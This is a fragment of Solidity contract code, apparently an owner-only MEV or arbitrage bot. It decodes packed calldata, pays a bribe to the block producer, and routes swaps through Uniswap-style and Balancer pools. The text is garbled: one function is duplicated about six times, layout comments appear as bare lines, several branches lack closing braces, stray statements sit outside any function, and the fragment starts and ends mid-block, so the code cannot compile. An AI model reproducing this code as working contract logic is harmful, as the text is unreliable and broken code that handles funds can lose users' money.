uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
if( inblockNum <block.number){revert("");}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
assembly { mstore(add(datacb, 32), third32bytes) }
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
assembly {mstore(add(datacb, 32), third32bytes)}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
assembly {mstore(add(datacb, 32), third32bytes)}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
